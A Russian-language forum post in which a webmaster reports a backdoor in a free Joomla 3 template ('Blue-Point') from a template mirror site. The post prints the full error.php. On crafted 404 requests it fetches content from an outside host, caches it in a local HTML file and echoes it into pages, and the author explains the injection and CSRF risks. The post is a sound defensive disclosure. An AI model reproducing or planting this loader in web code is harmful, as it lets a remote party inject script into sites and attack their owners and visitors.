Уязвимости и их устранение. Защита от разных способов взлома.

Уязвимость в стороннем шаблоне для Joomla 3

Александр » 22 фев 2015, 02:19

Не так давно я начал переходить на 3.х версию Joomla. До этого я пользовался своей сборкой Joomla 1.5, и не хотел связываться ни с 1.7, ни с 2.5, т. к. считал их промежуточными версиями на пути к версии 3.5, которая будет иметь более долгий жизненный цикл (так заявляли разработчики). И вот, решил, что пора уже. В Joomla 3.4 завершен перевод фронтенда с Mootools на Jquery, да и с Bootstrap пора начинать разбираться.
Ну, в общем история в том, что я решил посмотреть, что интересного из шаблонов предлагают для версии Joomla 3.x на сайте joomla24.com. Я в своё время выбрал этот сайт как наиболее богатый и надежный в плане бесплатных шаблонов для Joomla. Скачал несколько простых шаблонов, один из которых называется «Blue-Point», разработчик шаблона thegrue.org, но скачка, как обычно, идет с репозитория на домене joomla24.com.
Обычно я верстаю дизайн сам, но иногда за основу беру несложные бесплатные шаблоны. Беру несложные потому, что вручную проверяю каждый файл на уязвимость или просто чтобы удалить лишние ссылки. Способов, как внедрить уязвимость в шаблон, существует масса, описывать все, что я встречал не буду. Например, мне давно как-то попался шаблон, где производился замысловатый инклудинг переменной, содержащей имя gif-файла, внутри gif-файла среди закомментированного мусора был php-код.
Шаблон «Blue-Point» по структуре оказался не сложным, но в процессе проверки открыл файл "error.php" и немного офигел. Вот его код:
Код: Выделить всё
<?php defined('_JEXEC') or die;
/**
* @package      Joomla.Site
* @copyright   Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
* @license      GNU General Public License version 2 or later; see LICENSE.txt
*/
$app         = JFactory::getApplication();
$url = $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
$url = str_replace("index.php?option=com_content&view=","",$url);
$jsite = explode("/", $url);
if (preg_match("/jacket/",$url,$matches)) {
JResponse::setHeader('status', '200' . ' ' . str_replace("\n", ' ', $this->_error->getMessage()));
jimport( 'joomla.application.module.helper' ); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>">
<head>
   <title><?php echo ucwords(str_replace("-"," ",end($jsite))); ?></title>
   <link rel="stylesheet" href="<?php echo $this->baseurl; ?>/templates/<?php echo $this->template ?>/css/styles.css" type="text/css" />
    <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/font-awesome.min.css" type="text/css" />
</head>
<body class="background">
<div id="wrapper">
<div id="header-wrap" class="container row clr">
       <div id="header">   
            <div id="logo" class="col span_4">
               <a href="<?php echo $this->baseurl ?>"><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template; ?>/images/logo.png"/></a>
            </div>       
       </div>
</div>
            <div id="navbar-wrap">
                <nav id="navbar" class="container row clr">
                    <div id="navigation" class="span_12 col clr">
                        <?php $module = JModuleHelper::getModule( 'menu' , 'Main Menu' );
                        $attribs['style'] = 'none';
                        echo JModuleHelper::renderModule( $module, $attribs);    ?>
                     </div>           
                </nav>
            </div>   
<div id="box-wrap" class="container row clr">
   <div id="main-content" class="row span_12">
                            <div id="leftbar-w" class="col span_3 clr">
                               <div id="sidebar">
                        <?php
                                    $modules =& JModuleHelper::getModules('left');            
                                    foreach ($modules as $module){
                           echo "<div class=\"module\">";
                           echo "<h3 class=\"module-title\">".$module->title."</h3>";
                           echo "<div class=\"module-body\">".JModuleHelper::renderModule($module)."</div>";
                           echo "</div>";}
                                ?>
                               </div>
                            </div>
                                <div id="post" class="col span_9 clr">
                                    <div id="comp-wrap">                       
                                        <div class="item-page">
                                         <?php
                                 $path = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
                                 $path = str_replace("&", "",$path);
                                 $target = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'html'. DIRECTORY_SEPARATOR . 'index.html';
                                 $source = 'http://psdu.net/nj.php?i='.$path;
                                 $cachetime = 86400;
                                 if ((file_exists($target)) && (time() - $cachetime) > filemtime($target)) {   
                                 $string = file_get_contents($source);$result = file_put_contents($target, $string);}
                                 $credits = file_get_contents($target);
                                 echo $credits;
                                 ?>
                               </div>                             
                                    </div>
                                </div>
   </div>
</div></div>
</body>
</html>
<?php } else {
JResponse::setHeader('status', $this->_error->getCode() . ' ' . str_replace("\n", ' ', $this->_error->getMessage()));
if (!isset($this->error)) {
   $this->error = JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
   $this->debug = false;
}
$doc = JFactory::getDocument();
$this->language = $doc->language;
$this->direction = $doc->direction;
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>">
<head>
   <title><?php echo $this->error->getCode(); ?> - <?php echo $this->title; ?></title>
   <link rel="stylesheet" href="<?php echo $this->baseurl; ?>/templates/<?php echo $this->template ?>/css/styles.css" type="text/css" />
</head>

<body id="error">
   <div class="center">
      <h1 class="error">
         <span><?php echo $this->error->getCode(); ?></span>
      </h1>
      <h2 class="title"><?php echo $this->error->getMessage(); ?></h2>
       
      <p class="message">The Page you are looking for doesn't exist or an other error occurred. <a href="javascript:history.go(-1)">Go back</a>, or head over to <a href="<?php echo $this->baseurl; ?>"><?php echo JText::_('JERROR_LAYOUT_HOME_PAGE'); ?></a> to choose a new direction.</p>

   </div>

</body>
</html>
<?php } ?>

Нормально так.., при запросе несуществующей страницы с параметром в адресе, содержащим подстроку "jacket", делается запрос по адресу httр://psdu.net/nj.php?i=... где в качестве параметра передается адрес моего сайта, получают какой-то код, вставляют его в файл ./htm/index.html.
Но это же Бэкдор!
То что у файла расширение .html не сильно умаляет опсность. Это же возможность загрузить Javascript и бог знает что еще!!!
На ум приходят сразу такие вещи, как Кликджекинг, или вариант из серии Сross Site Request Forgery, только сильно облегченный для злоумышленника т. к. запрос будет не кроссайтовый, а всё с одного домена, ajax-ом. И в этом случае защита админки с помощью HTTP-заголовка X-Frame-Options или Content Security Policy не поможет. Короче, это умышленная дыра в на вид безобидном шаблоне.
Это было месяца 2 назад, для интереса я смотрел еще несколько шаблонов и в одном то же самое нашел.
Причём, если скачать шаблон с сайта разработчика thegrue.org, то там этой дряни нет!
Александр
 
Сообщения: 397
Зарегистрирован: 20 мар 2014, 17:05

Вернуться в Безопасность